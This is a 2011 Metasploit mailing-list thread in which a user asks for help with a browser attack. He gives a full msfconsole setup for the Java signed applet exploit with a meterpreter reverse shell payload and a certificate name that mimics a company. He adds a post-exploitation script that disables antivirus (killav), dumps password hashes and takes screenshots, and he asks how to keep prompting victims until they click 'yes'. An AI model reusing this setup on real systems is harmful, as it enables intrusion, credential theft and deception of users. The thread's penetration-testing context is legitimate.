Re: HELP: metasploit v3.8.0-dev (Java UNsigned Applet) and meterpreter AutoRun scripts.

[Richard Miles <richard.k.miles () googlemail com>]

HI Carlos,

I tried your suggestion, but I still get errors in most commands. Can
you please paste a session of yours working? Also, a copy of your .rc
file?

I may want to try step by step to reproduce yours, because it fail here.

Thanks

On Sun, Jun 19, 2011 at 12:28 PM, Carlos Perez
<carlos_perez () darkoperator com> wrote:
> Your rc file should not be use with multiscript but with the multi console
> command script
>
> Sent from my iPhone
> On Jun 19, 2011, at 12:39 PM, jambunathan sadasivamiyer
> <jamshuttle77 () gmail com> wrote:
>
> hi,
>
> you may get some tips from some of the team member,
>
> a newbee
>
>
>
> On Sun, Jun 19, 2011 at 9:56 PM, Richard Miles
> <richard.k.miles () googlemail com> wrote:
> > No one can help me?
> >
> > Thanks
> >
> > On Thu, Jun 16, 2011 at 4:18 PM, Richard Miles
> > <richard.k.miles () googlemail com> wrote:
> > > Hi
> > >
> > > 1) I want to test the Java Signed Applet, I'm using version metasploit
> > > v3.8.0-dev, I'm following this tutorial:
> > >
> > >
> > > https:/community.rapid7.com/community/metasploit/blog/2011/05/26/recent-developments-in-java-signed-applets
> > >
> > > It works, however I still get it with bad digital signature. Below is
> > > how I'm executing it:
> > >
> > > use exploit/multi/browser/java_signed_applet
> > > set PAYLOAD windows/meterpreter/reverse_tcp_allports
> > > set AutoRunScript multiscript -s /root/script.rc
> > > set LHOST MyIP
> > > set APPLETNAME CompanyName
> > > set CERTCN Santo CompanyName
> > > set SRVPORT 80
> > > set ExitOnSession false
> > > exploit -j -z
> > >
> > > And it works, but I always see on the browser as an unsigned (bad
> > > digital signature). What I'm doing wrong?
> > >
> > > b) Also, on my script.rc I have:
> > >
> > > screenshot
> > > sysinfo
> > > getuid
> > > run killav
> > > run scraper
> > > run getprivs
> > > getprivs
> > > run hashdump
> > > dir c:\
> > > ps
> > > migrate
> > > migrate -f
> > > screenshot
> > >
> > > But on the output of msfconsole I just see:
> > >
> > >
> > > meterpreter > run multi_console_command -s /root/dump.rc
> > > [*] Running Command List ...
> > > meterpreter >
> > >
> > > And I never see the output.
> > >
> > > I basically just want to do the following once a connection with
> > > meterpreter is estabilished.
> > >
> > > - get a screenshot
> > > - get sysinfo and getuid
> > > - run killav and scraper
> > > - launch getpriv
> > > - execute hashdump
> > > - execute "dir c:\" and "ps".
> > > - call migrate -f (create an notepad and migrate to it)
> > > - sleep 45 seconds and get another screenshot.
> > >
> > > Can someone help me how to do it? I want to see all output on the
> > > msfconsole or save locally on the msfconsole machine. How?
> > >
> > > C) There is a way to tell metasploit to reload Java Signed Applet
> > > exploit until user click "yes"?
> > >
> > > D) I would love to have an .php script doing basic enumeration of my
> > > target before execute Java Signed Applet, there is a way to launch
> > > this exploit in Apache or any other way that I can first execute an
> > > .php scrip and then redirect to the Java Signed Applet exploit?
> > >
> > > Thanks a lot.
> > _______________________________________________
> > https://mail.metasploit.com/mailman/listinfo/framework
>
>
>
> --
>
> Jambu
>
> _______________________________________________
> https://mail.metasploit.com/mailman/listinfo/framework
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework